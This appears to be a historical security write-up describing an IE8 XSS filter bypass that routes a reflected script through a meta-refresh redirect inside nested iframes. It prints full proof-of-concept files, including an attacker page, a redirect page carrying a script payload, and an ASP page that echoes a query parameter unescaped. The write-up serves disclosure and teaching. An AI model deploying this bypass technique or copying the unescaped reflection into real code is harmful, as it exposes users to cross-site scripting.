This was a variation on the earlier IE8 XSS filter bypass, this time using a <meta http-equiv="refresh"> redirect instead of navigating an inner iframe’s location property. The filter checked whether the URL that caused the navigation matched script content in the final response, but it didn’t follow the meta-refresh chain when making that comparison.

<!-- badguy.html: attacker page that loads goodguy.asp in an iframe -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head><title> XSS IFRAMEx2 </title></head>
<body>
<iframe src="http://www.iframe.com/pentest/xss/goodguy.asp" width="500" height="300"></iframe>
<script language="JavaScript">
window.onload = function()
{
	window[0][0].location = 'metaredir.html';
}
</script>
</body>
</html>
<!-- metaredir.html: intermediate page that meta-redirects to the XSS URL -->
<html>
<head> 
<title>Variation using a META Redirect</title> 
<meta http-equiv="refresh" content="0;URL=http://www.iframe.com/pentest/xss/goodguy.asp?Text=<script>alert(location.href)</script>">
</head> 
<body> 
Redirecting....
</body> 
</html>
<!-- goodguy.asp: the vulnerable page reflecting the Text parameter -->
<iframe src="http://www.google.com"></iframe>

<%
	Response.Write(Request.QueryString("Text"))
%>

The XSS filter tracked the URL of the page that initiated navigation to the vulnerable page, and compared it against the reflected script in the response. When the navigation went through a <meta http-equiv="refresh"> intermediate, the filter lost track of the originating URL — the final navigation to goodguy.asp?Text=<script>... appeared to come from the meta-redirect page rather than from badguy.html, so the filter didn’t flag it. This variation built on the same nested-iframe chain from the previous bypass but replaced the direct window[0][0].location assignment with a meta-refresh hop.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.